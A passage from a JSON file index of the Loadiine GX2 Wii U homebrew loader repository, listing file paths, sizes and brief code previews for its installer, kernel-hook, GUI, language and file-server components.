"preview": "#! /bin/bash\n#\nrev_new=$(git rev-parse --short=7 HEAD)\n\nrev_old=$(cat ./src/gitrev.c 2>/dev/null | tr -d '\\n' | awk -F\"\\"
},
{
"path": "installer/Makefile",
"chars": 1796,
"preview": "PATH := $(DEVKITPPC)/bin:$(PATH)\nPREFIX ?= powerpc-eabi-\nCC = $(PREFIX)gcc\nAS = $(PREFIX)gcc\nCFLAGS = -std=gnu99 -Os -no"
},
{
"path": "installer/coreinit.h",
"chars": 3016,
"preview": "#ifndef COREINIT_H\n#define COREINIT_H\n\n#include \"types.h\"\n\n#if (VER==200)\n#define OSDynLoad_Acquire ((void (*)(char* rpl"
},
{
"path": "installer/crt0.S",
"chars": 144,
"preview": ".extern __main\n .globl _start\n_start:\n # load proper stack\n lis r1, 0x1ab5\n ori r1, r1, 0xd138\n # jump to"
},
{
"path": "installer/elf_abi.h",
"chars": 25453,
"preview": "/*\n * Copyright (c) 1995, 1996, 2001, 2002\n * Erik Theisen. All rights reserved.\n *\n * Redistribution and use in source"
},
{
"path": "installer/kernel_patches.S",
"chars": 8453,
"preview": "#if (VER == 550)\n #define BAT_SETUP_HOOK_ADDR 0xFFF1D624\n # not all of those NOP address are required for "
},
{
"path": "installer/kexploit.c",
"chars": 29798,
"preview": "#include \"kexploit.h\"\n\nvoid wait(unsigned int coreinit_handle, unsigned int t);\nvoid doBrowserShutdown(unsigned int core"
},
{
"path": "installer/kexploit.h",
"chars": 3139,
"preview": "#ifndef KEXPLOIT_H\n#define KEXPLOIT_H\n\n#include \"structs.h\"\n#include \"types.h\"\n#include \"coreinit.h\"\n#include \"socket.h\""
},
{
"path": "installer/launcher.c",
"chars": 21939,
"preview": "#include \"types.h\"\n#include \"elf_abi.h\"\n#include \"kexploit.h\"\n#include \"structs.h\"\n#include \"sd_loader.h\"\n\n#define MEM_B"
},
{
"path": "installer/logger.c",
"chars": 1356,
"preview": "#include <stdarg.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <errno.h>\n#include \"common/commo"
},
{
"path": "installer/logger.h",
"chars": 2845,
"preview": "#ifndef __LOGGER_H_\n#define __LOGGER_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n/* Communication bytes with the server "
},
{
"path": "installer/socket.h",
"chars": 355,
"preview": "#define AF_INET\t\t2\n#define SOCK_STREAM\t1\n#define IPPROTO_TCP\t6\n\nstruct in_addr\n{\n unsigned long s_addr;\n};\n\nstruct sock"
},
{
"path": "installer/structs.h",
"chars": 1096,
"preview": "#ifndef STRUCTS_H\n#define STRUCTS_H\n\ntypedef struct {\n unsigned char *data;\n int len;\n int alloc_size;\n void"
},
{
"path": "installer/types.h",
"chars": 395,
"preview": "#ifndef TYPES_H\n#define TYPES_H\n\ntypedef unsigned long long uint64_t;\ntypedef long long int64_t;\ntypedef unsigned int ui"
},
{
"path": "languages/chinese.lang",
"chars": 5101,
"preview": "# Loadiine GX2 language source file.\n# chinese.lang - v0.34\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Pro"
},
{
"path": "languages/chinese_tr.lang",
"chars": 5107,
"preview": "# Loadiine GX2 language source file.\n# chinese_Tr.lang - v0.34\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\""
},
{
"path": "languages/english.lang",
"chars": 4271,
"preview": "# Loadiine GX2 language source file.\n# english.lang - vx.x\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Proj"
},
{
"path": "languages/french.lang",
"chars": 5598,
"preview": "# Loadiine GX2 language source file.\n# french.lang - v0.2\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Proje"
},
{
"path": "languages/german.lang",
"chars": 5576,
"preview": "# Loadiine GX2 language source file.\n# german.lang - v0.3\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Proje"
},
{
"path": "languages/hungarian.lang",
"chars": 5664,
"preview": "# Loadiine GX2 language source file.\n# hungarian.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Pr"
},
{
"path": "languages/italian.lang",
"chars": 5497,
"preview": "# Loadiine GX2 language source file.\n# italian.lang - vx.x\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Proj"
},
{
"path": "languages/japanese.lang",
"chars": 5068,
"preview": "# Loadiine GX2 language source file.\n# japanese.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Pro"
},
{
"path": "languages/pt_BR.lang",
"chars": 5695,
"preview": "# Loadiine GX2 language source file.\n# pt_BR.lang - v0.2\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Projec"
},
{
"path": "languages/pt_PT.lang",
"chars": 5798,
"preview": "# Loadiine GX2 language source file.\n# pt_PT.lang - v0.1\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Projec"
},
{
"path": "languages/spanish.lang",
"chars": 5693,
"preview": "# Loadiine GX2 language source file.\n# spanish.lang - v0.3\n# don't delete/change this line (é).\nmsgid \"\"\nmsgstr \"\"\n\"Proj"
},
{
"path": "meta/meta.xml",
"chars": 500,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<app version=\"1\">\n <name>Loadiine GX2</name>\n <coder>Dimok, Ma"
},
{
"path": "other/devkitPPCupdatePPCr29.pl",
"chars": 5861,
"preview": "#!/usr/bin/perl\n#-----------------------------------------------------------------------------\n#\n#\tCopyright (C) 2011 - "
},
{
"path": "other/devkitProUpdatePPCr29.ini",
"chars": 2024,
"preview": "[devkitProUpdate]\nBuild=46\nURL=http://downloads.sourceforge.net/devkitpro\nFilename=devkitProUpdater-1.6.0.exe\n\n[msys]\nVe"
},
{
"path": "sd_loader/Makefile",
"chars": 7518,
"preview": "#---------------------------------------------------------------------------------\n# Clear the implicit built in rules\n#"
},
{
"path": "sd_loader/src/elf_abi.h",
"chars": 25453,
"preview": "/*\n * Copyright (c) 1995, 1996, 2001, 2002\n * Erik Theisen. All rights reserved.\n *\n * Redistribution and use in source"
},
{
"path": "sd_loader/src/entry.c",
"chars": 11679,
"preview": "#include <gctypes.h>\n#include \"elf_abi.h\"\n#include \"../../src/common/common.h\"\n#include \"../../src/dynamic_libs/fs_defs."
},
{
"path": "sd_loader/src/kernel_hooks.S",
"chars": 861,
"preview": "# This stuff may need a change in different kernel versions\n# This is only needed when launched directly through browser"
},
{
"path": "sd_loader/src/link.ld",
"chars": 388,
"preview": "OUTPUT(sd_loader.elf);\n\nENTRY(_start);\n\nSECTIONS {\n\t. = 0x00800000;\n\t.text : {\n\t\t*(.kernel_code*);\n\t\t*(.text*);\n\t\t/* Tel"
},
{
"path": "server/src/Program.cs",
"chars": 19644,
"preview": "using System;\nusing System.IO;\nusing System.Net;\nusing System.Net.Sockets;\nusing System.Runtime.InteropServices;\nusing S"
},
{
"path": "server/src/Properties/AssemblyInfo.cs",
"chars": 1386,
"preview": "using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Infor"
},
{
"path": "server/src/System/IO/EndianBinaryReader.cs",
"chars": 21835,
"preview": "using System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace System.IO\n{\n s"
},
{
"path": "server/src/System/IO/EndianBinaryWriter.cs",
"chars": 22697,
"preview": "using System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace System.IO\n{\n s"
},
{
"path": "server/src/app.config",
"chars": 73,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
},
{
"path": "server/src/bin/Debug/loadiine_server.exe.config",
"chars": 73,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
},
{
"path": "server/src/bin/Debug/loadiine_server.vshost.exe.config",
"chars": 73,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
},
{
"path": "server/src/bin/Debug/loadiine_server.vshost.exe.manifest",
"chars": 477,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVers"
},
{
"path": "server/src/loadiine_server.csproj",
"chars": 2355,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microso"
},
{
"path": "server/src/loadiine_server.sln",
"chars": 849,
"preview": "\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{FAE04EC0-301F-11D3-BF4B-00C"
},
{
"path": "server/src/obj/x86/Debug/cafiine_server.csproj.FileListAbsolute.txt",
"chars": 1243,
"preview": "C:\\Users\\golden\\Desktop\\cafiine532-v1.2-dump_files\\cafiine532-v1.2-dump_files\\cafiine\\server\\src\\bin\\Debug\\cafiine_serve"
},
{
"path": "server/src/obj/x86/Debug/loadiine_server.csproj.FileListAbsolute.txt",
"chars": 930,
"preview": "C:\\Users\\golden\\Desktop\\supercafiine\\src\\bin\\Debug\\loadiine_server.exe.config\nC:\\Users\\golden\\Desktop\\supercafiine\\src\\o"
},
{
"path": "src/Application.cpp",
"chars": 7485,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/Application.h",
"chars": 1960,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/common/common.h",
"chars": 3775,
"preview": "#ifndef COMMON_H\n#define\tCOMMON_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#define LOADIINE_VERSION \"v0.3\"\n#defin"
},
{
"path": "src/common/kernel_defs.h",
"chars": 7510,
"preview": "#ifndef __KERNEL_DEFS_H_\n#define __KERNEL_DEFS_H_\n\n#include \"types.h\"\n#include \"dynamic_libs/fs_defs.h\"\n\n#ifdef __cplusp"
},
{
"path": "src/common/loader_defs.h",
"chars": 824,
"preview": "#ifndef __LOADER_DEFS_H_\n#define __LOADER_DEFS_H_\n\n#include \"types.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n// struct"
},
{
"path": "src/common/os_defs.h",
"chars": 504,
"preview": "#ifndef __OS_DEFS_H_\n#define __OS_DEFS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct _OsSpecifics\n{\n uns"
},
{
"path": "src/common/retain_vars.c",
"chars": 721,
"preview": "#include <gctypes.h>\nu8 gSettingLaunchPyGecko __attribute__((section(\".data\"))) = 0;\nu8 gSettingUseUpdatepath __attribut"
},
{
"path": "src/common/retain_vars.h",
"chars": 409,
"preview": "#ifndef RETAINS_VARS_H_\n#define RETAINS_VARS_H_\n#include <gctypes.h>\n\nextern u8 gSettingLaunchPyGecko;\nextern u8 gSettin"
},
{
"path": "src/common/types.h",
"chars": 77,
"preview": "#ifndef TYPES_H\n#define\tTYPES_H\n\n#include <gctypes.h>\n\n#endif\t/* TYPES_H */\n\n"
},
{
"path": "src/entry.cpp",
"chars": 6137,
"preview": "#include <string.h>\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/sys_functions.h\"\n#include \"dynamic_lib"
},
{
"path": "src/fs/CFile.cpp",
"chars": 2878,
"preview": "#include <stdarg.h>\n#include <stdlib.h>\n#include \"CFile.hpp\"\n\nCFile::CFile()\n{\n\tiFd = -1;\n\tmem_file = NULL;\n\tfilesize = "
},
{
"path": "src/fs/CFile.hpp",
"chars": 1039,
"preview": "#ifndef CFILE_HPP_\n#define CFILE_HPP_\n\n#include <stdio.h>\n#include <string>\n#include <string.h>\n#include <unistd.h>\n#inc"
},
{
"path": "src/fs/DirList.cpp",
"chars": 4841,
"preview": "/****************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Th"
},
{
"path": "src/fs/DirList.h",
"chars": 3131,
"preview": "/****************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * Th"
},
{
"path": "src/fs/fs_utils.c",
"chars": 3304,
"preview": "#include <malloc.h>\n#include <string.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include \"dynamic_libs"
},
{
"path": "src/fs/fs_utils.h",
"chars": 455,
"preview": "#ifndef __FS_UTILS_H_\n#define __FS_UTILS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n\nint MountFS(v"
},
{
"path": "src/fs/sd_fat_devoptab.c",
"chars": 26398,
"preview": "/***************************************************************************\n * Copyright (C) 2015\n * by Dimok\n *\n * Thi"
},
{
"path": "src/fs/sd_fat_devoptab.h",
"chars": 1284,
"preview": "/***************************************************************************\n * Copyright (C) 2015\n * by Dimok\n *\n * Thi"
},
{
"path": "src/game/GameLauncher.cpp",
"chars": 23863,
"preview": "#include <algorithm>\n#include <string>\n#include <map>\n#include <string.h>\n#include <fcntl.h>\n\n#include <zlib.h>\n#include"
},
{
"path": "src/game/GameLauncher.h",
"chars": 1681,
"preview": "#ifndef GAME_LAUNCHER_H_\n#define GAME_LAUNCHER_H_\n\n#include <vector>\n#include <string>\n#include <gctypes.h>\n#include \"co"
},
{
"path": "src/game/GameList.cpp",
"chars": 3690,
"preview": "#include <algorithm>\n#include <string>\n#include <string.h>\n\n#include \"GameList.h\"\n#include \"common/common.h\"\n#include \"s"
},
{
"path": "src/game/GameList.h",
"chars": 2393,
"preview": "#ifndef GAME_LIST_H_\n#define GAME_LIST_H_\n\n#include <vector>\n#include <gctypes.h>\n\ntypedef struct _discHeader\n{\n std:"
},
{
"path": "src/game/memory_area_table.c",
"chars": 18032,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/game/memory_area_table.h",
"chars": 1251,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/game/rpx_rpl_table.c",
"chars": 6749,
"preview": "#include <string.h>\n#include \"rpx_rpl_table.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"common/common.h\"\n#include "
},
{
"path": "src/game/rpx_rpl_table.h",
"chars": 972,
"preview": "#ifndef __RPX_ARRAY_H_\n#define __RPX_ARRAY_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n#include \"co"
},
{
"path": "src/gitrev.h",
"chars": 155,
"preview": "#ifndef __GITREV_H_\n#define __GITREV_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nconst char *GetRev();\n\n#ifdef __cpluspl"
},
{
"path": "src/gui/FreeTypeGX.cpp",
"chars": 19633,
"preview": "/*\n * FreeTypeGX is a wrapper class for libFreeType which renders a compiled\n * FreeType parsable font so a GX texture f"
},
{
"path": "src/gui/FreeTypeGX.h",
"chars": 5888,
"preview": "/*\n * FreeTypeGX is a wrapper class for libFreeType which renders a compiled\n * FreeType parsable font into a GX texture"
},
{
"path": "src/gui/GameBgImage.cpp",
"chars": 1617,
"preview": "#include \"GameBgImage.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Shader3D.h\"\n\nGameBgImage::GameBgImage(const s"
},
{
"path": "src/gui/GameBgImage.h",
"chars": 477,
"preview": "#ifndef _GAME_BG_IMAGE_H_\n#define _GAME_BG_IMAGE_H_\n\n#include \"GuiImageAsync.h\"\n#include \"video/shaders/Shader3D.h\"\n\ncla"
},
{
"path": "src/gui/GameIcon.cpp",
"chars": 14392,
"preview": "#include \"GameIcon.h\"\n#include \"GameIconModel.h\"\n#include \"Application.h\"\n#include \"video/CVideo.h\"\n#include \"video/shad"
},
{
"path": "src/gui/GameIcon.h",
"chars": 2452,
"preview": "#ifndef _GAME_ICON_H_\n#define _GAME_ICON_H_\n\n#include \"GuiImageAsync.h\"\n#include \"video/shaders/Shader3D.h\"\n\nclass GameI"
},
{
"path": "src/gui/GameIconModel.h",
"chars": 74367,
"preview": "#ifndef ICON_MODEL_H_\n#define ICON_MODEL_H_\n\nstatic const float cfGameIconPosVtxs[] = {\n-0.844501f,-0.861263f,0.050154f,"
},
{
"path": "src/gui/GridBackground.cpp",
"chars": 3602,
"preview": "#include \"GridBackground.h\"\n#include \"video/CVideo.h\"\n#include \"video/shaders/Shader3D.h\"\n\nstatic const float bgRepeat ="
},
{
"path": "src/gui/GridBackground.h",
"chars": 714,
"preview": "#ifndef _GRID_BACKGROUND_H_\n#define _GRID_BACKGROUND_H_\n\n#include \"GuiImage.h\"\n#include \"video/shaders/Shader.h\"\n\nclass "
},
{
"path": "src/gui/Gui.h",
"chars": 1135,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiButton.cpp",
"chars": 7916,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiButton.h",
"chars": 4834,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiCheckBox.cpp",
"chars": 2158,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiCheckBox.h",
"chars": 1443,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiConfigurationScreen.h",
"chars": 1293,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiController.h",
"chars": 2001,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiDragListener.cpp",
"chars": 2353,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n * based on"
},
{
"path": "src/gui/GuiDragListener.h",
"chars": 1863,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiElement.cpp",
"chars": 7748,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiElement.h",
"chars": 19818,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiFrame.cpp",
"chars": 4698,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiFrame.h",
"chars": 4287,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiGameBrowser.h",
"chars": 1332,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiGameCarousel.cpp",
"chars": 23529,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiGameCarousel.h",
"chars": 3819,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiIconCarousel.cpp",
"chars": 17925,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiIconCarousel.h",
"chars": 3513,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiIconGrid.cpp",
"chars": 14990,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiIconGrid.h",
"chars": 3271,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImage.cpp",
"chars": 9428,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImage.h",
"chars": 3936,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImageAsync.cpp",
"chars": 4591,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImageAsync.h",
"chars": 2083,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImageData.cpp",
"chars": 6240,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiImageData.h",
"chars": 2511,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiParticleImage.cpp",
"chars": 5083,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiParticleImage.h",
"chars": 1400,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiSelectBox.cpp",
"chars": 10972,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiSelectBox.h",
"chars": 3487,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiSound.cpp",
"chars": 4362,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiSound.h",
"chars": 2009,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiSwitch.cpp",
"chars": 2629,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiSwitch.h",
"chars": 1526,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiText.cpp",
"chars": 13196,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiText.h",
"chars": 4949,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiToggle.cpp",
"chars": 1576,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiToggle.h",
"chars": 1832,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/gui/GuiTrigger.cpp",
"chars": 4174,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/GuiTrigger.h",
"chars": 3857,
"preview": "/***************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This prog"
},
{
"path": "src/gui/Scrollbar.cpp",
"chars": 7654,
"preview": "/***************************************************************************\n * Copyright (C) 2011\n * by Dimok\n *\n * Thi"
},
{
"path": "src/gui/Scrollbar.h",
"chars": 2632,
"preview": "/***************************************************************************\n * Copyright (C) 2011\n * by Dimok\n *\n * Thi"
},
{
"path": "src/gui/VPadController.h",
"chars": 2037,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/WPadController.h",
"chars": 5631,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/gui/sigslot.h",
"chars": 64775,
"preview": "// sigslot.h: Signal/Slot classes\n//\n// Written by Sarah Thompson (sarah@telergy.com) 2002.\n//\n// License: Public domain"
},
{
"path": "src/kernel/kernel_functions.c",
"chars": 3518,
"preview": "#include <string.h>\n#include \"common/common.h\"\n#include \"common/kernel_defs.h\"\n#include \"kernel/kernel_functions.h\"\n#inc"
},
{
"path": "src/kernel/kernel_functions.h",
"chars": 300,
"preview": "#ifndef __KERNEL_FUNCTIONS_H_\n#define __KERNEL_FUNCTIONS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"common/ke"
},
{
"path": "src/kernel/kernel_hooks.S",
"chars": 2810,
"preview": "# This stuff may need a change in different kernel versions\n# This is only needed when launched directly through browser"
},
{
"path": "src/kernel/syscalls.c",
"chars": 9202,
"preview": "#include \"common/os_defs.h\"\n#include \"common/kernel_defs.h\"\n#include \"common/common.h\"\n#include \"dynamic_libs/os_functio"
},
{
"path": "src/kernel/syscalls.h",
"chars": 594,
"preview": "#ifndef __SYSCALLS_H_\n#define __SYSCALLS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <gctypes.h>\n#include \"comm"
},
{
"path": "src/kernel/syscalls_asm.S",
"chars": 313,
"preview": "# Syscalls for kernel that we use\n\n .globl SC0x36_KernelReadDBATs\nSC0x36_KernelReadDBATs:\n li r0, 0x3600\n sc\n "
},
{
"path": "src/language/gettext.cpp",
"chars": 5554,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/language/gettext.h",
"chars": 1215,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/link.ld",
"chars": 805,
"preview": "OUTPUT(loadiine.elf);\n\n/* Tell linker where our application entry is so the garbage collect can work correct */\nENTRY(__"
},
{
"path": "src/main.cpp",
"chars": 6144,
"preview": "//#include <string>\n#include \"Application.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/fs_functions."
},
{
"path": "src/main.h",
"chars": 426,
"preview": "#ifndef _MAIN_H_\n#define _MAIN_H_\n\n#include \"common/types.h\"\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_li"
},
{
"path": "src/menu/ButtonChoiceMenu.cpp",
"chars": 10434,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/ButtonChoiceMenu.h",
"chars": 3107,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/CreditsMenu.cpp",
"chars": 7125,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/CreditsMenu.h",
"chars": 1680,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/GameLauncherMenu.cpp",
"chars": 27353,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/menu/GameLauncherMenu.h",
"chars": 5888,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Maschell\n *\n * This "
},
{
"path": "src/menu/KeyPadMenu.cpp",
"chars": 10803,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/KeyPadMenu.h",
"chars": 3244,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/MainDrcButtonsFrame.h",
"chars": 4933,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/MainWindow.cpp",
"chars": 20490,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/MainWindow.h",
"chars": 4509,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/ProgressWindow.cpp",
"chars": 2560,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/ProgressWindow.h",
"chars": 1405,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/SettingsCategoryMenu.cpp",
"chars": 14742,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/SettingsCategoryMenu.h",
"chars": 3091,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/SettingsMenu.cpp",
"chars": 20523,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/menu/SettingsMenu.h",
"chars": 4193,
"preview": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This pro"
},
{
"path": "src/network/FileDownloader.cpp",
"chars": 5058,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Dimok\n *\n * This pro"
},
{
"path": "src/network/FileDownloader.h",
"chars": 1820,
"preview": "/****************************************************************************\n * Copyright (C) 2016 Dimok\n *\n * This pro"
},
{
"path": "src/network/GameImageDownloader.cpp",
"chars": 10137,
"preview": "/****************************************************************************\n * Copyright (C) 2011 Dimok\n * Copyright ("
},
{
"path": "src/network/GameImageDownloader.h",
"chars": 1608,
"preview": "#ifndef GAME_IMAGE_DOWNLOADER_H_\n#define GAME_IMAGE_DOWNLOADER_H_\n\n#include <vector>\n#include <string>\n#include \"FileDow"
},
{
"path": "src/patcher/aoc_patcher.cpp",
"chars": 1503,
"preview": "#include <stdio.h>\n#include \"aoc_patcher.h\"\n#include \"common/retain_vars.h\"\n\nDECL(int, ACPGetAddOnUniqueId, unsigned int"
},
{
"path": "src/patcher/aoc_patcher.h",
"chars": 450,
"preview": "#ifndef _AOC_FUNCTION_PATCHER_H\n#define _AOC_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils"
},
{
"path": "src/patcher/cpp_to_c_util.cpp",
"chars": 849,
"preview": "#include \"cpp_to_c_util.h\"\n#include <string.h>\n#include \"utils/FileReplacer.h\"\n#include \"common/common.h\"\n#include \"comm"
},
{
"path": "src/patcher/cpp_to_c_util.h",
"chars": 505,
"preview": " #ifdef __cplusplus\n #define EXTERNC extern \"C\"\n #else\n #define EXTERNC\n #endif\n #include \"common/types.h\"\n\n typedef voi"
},
{
"path": "src/patcher/extra_log_patcher.cpp",
"chars": 6890,
